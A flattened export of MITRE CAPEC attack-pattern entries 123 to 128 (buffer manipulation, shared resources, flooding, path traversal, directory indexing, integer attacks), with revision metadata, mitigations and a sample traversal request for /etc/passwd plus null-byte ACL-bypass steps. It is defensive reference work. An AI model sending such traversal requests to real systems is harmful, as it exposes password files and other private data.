#indSubmissionSubmission2645 + Submission_2645 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2650 + Modification_2650 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification2656 + Modification_2656 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification2662 + Modification_2662 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2668 + Modification_2668 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Consequences, Example_Instances, Likelihood_Of_Attack, Mitigations, Skills_Required + + + + + + + + + + + + #indModificationModification2674 + Modification_2674 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2680 + Modification_2680 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification2686 + Modification_2686 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description, Skills_Required + + + + + + + + + + + + #indModificationModification2692 + Modification_2692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-123 + Buffer Manipulation + + + + + + + + + 123 + + + + + Buffer Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates an application's interaction with a buffer in an attempt to read or modify data they shouldn't have access to. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer is immaterial. Instead, most buffer attacks involve retrieving or providing more input than can be stored in the allocated buffer, resulting in the reading or overwriting of other unintended program memory.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must identify a programmatic means for interacting with a buffer, such as vulnerable C code, and be able to provide input to this interaction.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2708 + Consequence_2708 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A buffer manipulation attack often results in a crash of the application due to the corruption of memory.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2713 + Consequence_2713 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If constructed properly, a buffer manipulation attack can be used to contol the execution of the application leading to any number of negative consequenses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To help protect an application from buffer manipulation attacks, a number of potential mitigations can be leveraged. Before starting the development of the application, consider using a code language (e.g., Java) or compiler that limits the ability of developers to act beyond the bounds of a buffer. If the chosen language is susceptible to buffer related issues (e.g., C) then consider using secure functions instead of those vulnerable to buffer manipulations. If a potentially dangerous function must be used, make sure that proper boundary checking is performed. Additionally, there are often a number of compiler-based mechanisms (e.g., StackGuard, ProPolice and the Microsoft Visual Studio /GS flag) that can help identify and protect against potential buffer issues. Finally, there may be operating system level preventative functionality that can be applied.</xhtml:div> + + + + + 119 + + + + + + + + + + + + #indContentHistoryContentHistory2727 + Content_History_2727 + + + + + + + + + + + + + + + + #indSubmissionSubmission2728 + Submission_2728 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2733 + Modification_2733 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Injection_Vector, Payload, Payload_Activation_Impact, Related_Attack_Patterns, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification2739 + Modification_2739 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-124 + Shared Resource Manipulation + + + + + + + + + 124 + + + + + Shared Resource Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a resource shared between multiple applications, an application pool or hardware pin multiplexing to affect behavior. Resources may be shared between multiple applications or between multiple threads of a single application. Resource sharing is usually accomplished through mutual access to a single memory location or multiplexed hardware pins. If an adversary can manipulate this shared resource (usually by co-opting one of the applications or threads) the other applications or threads using the shared resource will often continue to trust the validity of the compromised shared resource and use it in their calculations. This can result in invalid trust assumptions, corruption of additional data through the normal operations of the other users of the shared resource, or even cause a crash or compromise of the sharing applications.</xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target applications, threads or functions must share resources between themselves.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to manipulate some piece of the shared resource either directly or indirectly and the other users of the data must accept the changed data as valid. Usually this requires that the adversary be able to compromise one of the sharing applications or threads in order to manipulate the shared data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: The attacker does not need any specialized resources to execute this type of attack.</xhtml:div> + + + + + 1189 + + + + + 1331 + + + + + + + + + + + + #indContentHistoryContentHistory2761 + Content_History_2761 + + + + + + + + + + + + + + + + #indSubmissionSubmission2762 + Submission_2762 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2767 + Modification_2767 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification2773 + Modification_2773 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification2779 + Modification_2779 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification2785 + Modification_2785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Prerequisites, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification2791 + Modification_2791 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName2797 + Previous_Entry_Name_2797 + + + + + + + + + 2017-01-09 + + + + + Attack through Shared Data + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName2798 + Previous_Entry_Name_2798 + + + + + + + + + 2020-07-30 + + + + + Shared Data Manipulation + + + + + + + + + + + + #CAPEC-125 + Flooding + + + + + + + + + 125 + + + + + Flooding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any target that services requests is vulnerable to this attack on some level of scale.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A script or program capable of generating more requests than the target can handle, or a network or cluster of objects all capable of making simultaneous requests.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2812 + Consequence_2812 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful flooding attack compromises the availability of the target system's service by exhausting its available resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that protocols have specific limits of scale configured.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Specify expectations for capabilities and dictate which behaviors are acceptable when resource allocation reaches limits.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Uniformly throttle all requests in order to make it more difficult to consume resources more quickly than they can again be freed.</xhtml:div> + + + + + 404 + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingNetworkDenialOfServiceDirectNetworkFlood + Network Denial of Service: Direct Network Flood + + + + + + + + + + + + + + 1498.001 + + + + + Network Denial of Service: Direct Network Flood + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfService + Endpoint Denial of Service + + + + + + + + + + + + + + 1499 + + + + + Endpoint Denial of Service + + + + + + + + + + + + #indTaxonomyMappingDenialOfService + Denial of Service + + + + + + + + + + + + + + 10 + + + + + Denial of Service + + + + + + + + + + + + #indTaxonomyMappingTrafficFlood + Traffic flood + + + + + + + + + + + + + + Traffic flood + + + + + + + + + + + + #indContentHistoryContentHistory2845 + Content_History_2845 + + + + + + + + + + + + + + + + #indSubmissionSubmission2846 + Submission_2846 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2851 + Modification_2851 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification2857 + Modification_2857 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification2863 + Modification_2863 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification2869 + Modification_2869 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-126 + Path Traversal + + + + + + + + + 126 + + + + + Path Traversal + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \\) and/or dots (.)) to reach desired directories or files.</xhtml:div> + + + + + + + + + + + + #indAlternateTermDirectoryTraversal + Directory Traversal + + + + + + + + + Directory Traversal + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2887 + Related_Attack_Pattern_2887 + + + + + + + + + + + + + + 153 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern2888 + Related_Attack_Pattern_2888 + + + + + + + + + + + + + + 664 + + + + + + + + + + + + #indAttackStepAttackStep2891 + Attack_Step_2891 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Fingerprinting of the operating system] In order to perform a valid path traversal, the attacker needs to know what the underlying OS is so that the proper file seperator is used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce errors to find informative error messages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2899 + Attack_Step_2899 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the Application to Identify User-controllable Inputs] The attacker surveys the target application to identify all user-controllable file inputs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2904 + Attack_Step_2904 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Vary inputs, looking for malicious results] Depending on whether the application being exploited is a remote or local one, the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep2909 + Attack_Step_2909 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate files accessible by the application] The attacker may steal information or directly manipulate files (delete, copy, flush, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to control the path that is requested of the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must fail to adequately sanitize incoming paths</xhtml:div> + + + + + + + + + + + + #indSkillSkill2920 + Skill_2920 + + + + + + + + + + + + + + Simple command line attacks or to inject the malicious payload in a web page. + + + + + + + + + + + + #indSkillSkill2921 + Skill_2921 + + + + + + + + + + + + + + Customizing attacks to bypass non trivial filters in the application. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to manually manipulate path information either directly through a client application relative to the service or application or via a proxy application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2927 + Consequence_2927 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2934 + Consequence_2934 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2939 + Consequence_2939 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence2944 + Consequence_2944 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Configure the access control correctly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use indirect references rather than actual file names.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use possible permissions on file access when developing and deploying web applications.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification -- using an allowlist approach.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An example of using path traversal to attack some set of resources on a web server is to use a standard HTTP request&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://example/../../../../../etc/passwd&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From an attacker point of view, this may be sufficient to gain access to the password file on a poorly protected system. If the attacker can list directories of critical resources then read only access is not sufficient to protect the system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 22 + + + + + + + + + + + + #indTaxonomyMappingPathTraversal + Path Traversal + + + + + + + + + + + + + + 33 + + + + + Path Traversal + + + + + + + + + + + + #indTaxonomyMappingPathTraversal + Path Traversal + + + + + + + + + + + + + + Path Traversal + + + + + + + + + + + + #indReferenceReference2984 + Reference_2984 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference2986 + Reference_2986 + + + + + + + + + REF-9 + + + + + Testing for Path Traversal (OWASP-AZ-001) + + + + + + + + + + + + #indReferenceReference2987 + Reference_2987 + + + + + + + + + REF-10 + + + + + WASC-33 - Path Traversal + + + + + + + + + + + + #indContentHistoryContentHistory2989 + Content_History_2989 + + + + + + + + + + + + + + + + #indSubmissionSubmission2990 + Submission_2990 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification2995 + Modification_2995 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Activation_Zone, Alternate_Terms, Architectural_Paradigms, Attack_Motivation-Consequences, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Examples-Instances, Frameworks, Injection_Vector, Languages, Payload, Payload_Activation_Impact, Platforms, Purposes, References, Related_Attack_Patterns, Related_Vulnerabilities, Related_Weaknesses, Relevant_Security_Requirements, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification3001 + Modification_3001 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification3007 + Modification_3007 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification3013 + Modification_3013 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3019 + Modification_3019 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification3025 + Modification_3025 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-127 + Directory Indexing + + + + + + + + + 127 + + + + + Directory Indexing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern3038 + Related_Attack_Pattern_3038 + + + + + + + + + + + + + + 54 + + + + + + + + + + + + #indAttackStepAttackStep3041 + Attack_Step_3041 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Directory Discovery] Use a method, either manual, scripted, or automated to discover the directories on the server by making requests for directories that may possibly exist. During this phase the adversary is less concerned with whether a directory can be accessed or indexed and more focused on simply discovering what directories do exist on the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send requests to the web server for common directory names</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If directories are discovered that are native to a server type further refine the directory search to include directories usually present on those types of servers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search for uncommon or potentially user created directories that may be present.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3049 + Attack_Step_3049 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Iteratively explore directory/file structures] The adversary attempts to access the discovered directories that allow access and may attempt to bypass server or application level ACLs by using manual or automated methods</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a scanner tool to dynamically add directories/files to include their scan based upon data obtained in initial probes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website by issuing a request ending the URL in a slash '/'.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt to bypass ACLs on directories by using methods that known to work against some server types by appending data to the directory request. For instance, appending a Null byte to the end of the request which may cause an ACL to fail and allow access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sequentially request a list of common base files to each directory discovered.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try multiple fuzzing techniques to list directory contents for directories that will not reveal their contents with a "/" request</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep3059 + Attack_Step_3059 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Read directories or files which are not intended for public viewing.] The adversary attempts to access the discovered directories that allow access and may attempt to bypass server or application level ACLs by using manual or automated methods</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try multiple exploit techniques to list directory contents for directories that will not reveal their contents with a "/" request</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try other known exploits to elevate privileges sufficient to bypass protected directories.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">List the files in the directory by issuing a request with the URL ending in a "/" slash.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access the files via direct URL and capture contents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt to bypass ACLs on directories by using methods that are known to work against some server types by appending data to the directory request. For instance, appending a Null byte to the end of the request which may cause an ACL to fail and allow access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sequentially request a list of common base files to each directory discovered.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be misconfigured to return a list of a directory's content when it receives a request that ends in a directory name rather than a file name.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to control the path that is requested of the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The administrator must have failed to properly configure an ACL or has associated an overly permissive ACL with a particular directory.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The server version or patch level must not inherently prevent known directory listing attacks from working.</xhtml:div> + + + + + + + + + + + + #indSkillSkill3078 + Skill_3078 + + + + + + + + + + + + + + To issue the request to URL without given a specific file name + + + + + + + + + + + + #indSkillSkill3079 + Skill_3079 + + + + + + + + + + + + + + To bypass the access control of the directory of listings + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to send HTTP requests to a web application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence3085 + Consequence_3085 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">1. Using blank index.html: putting blank index.html simply prevent directory listings from displaying to site visitors.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">2. Preventing with .htaccess in Apache web server: In .htaccess, write "Options-indexes".</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">3. Suppressing error messages: using error 403 "Forbidden" message exactly like error 404 "Not Found" message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary uses directory listing to view sensitive files in the application. This is an example of accessing the backup file. The attack issues a request for http://www.example.com/admin/ and receives the following dynamic directory indexing content in the response: Index of /admin Name Last Modified Size Description backup/ 31-May-2007 08:18 - Apache/ 2.0.55 Server at www.example.com Port 80&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The target application does not have direct hyperlink to the "backup" directory in the normal html webpage, however the attacker has learned of this directory due to indexing the content. The client then requests the backup directory URL and receives output which has a "db_dump.php" file in it. This sensitive data should not be disclosed publicly.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 424 + + + + + 425 + + + + + 288 + + + + + 285 + + + + + 732 + + + + + 276 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingFileAndDirectoryDiscovery + File and Directory Discovery + + + + + + + + + + + + + + 1083 + + + + + File and Directory Discovery + + + + + + + + + + + + #indReferenceReference3118 + Reference_3118 + + + + + + + + + REF-11 + + + + + WASC-16 - Directory Indexing + + + + + + + + + + + + #indContentHistoryContentHistory3120 + Content_History_3120 + + + + + + + + + + + + + + + + #indSubmissionSubmission3121 + Submission_3121 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification3126 + Modification_3126 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification3132 + Modification_3132 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Examples-Instances, Related_Vulnerabilities + + + + + + + + + + + + #indModificationModification3138 + Modification_3138 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification3144 + Modification_3144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-128 + Integer Attacks + + + + + + + + + 128 + + + + + Integer Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker takes advantage of the structure of integer variables to cause these variables to assume values that are not expected by an application. For example, adding one to the largest positive integer in a signed integer variable results in a negative number. Negative numbers may be illegal in an application and the application may prevent an attacker from providing them directly, but the application may not consider that adding two positive numbers can create a negative number do to the structure of integer storage formats.</xhtml:div> + + + + + + + + + + + + + + + + + 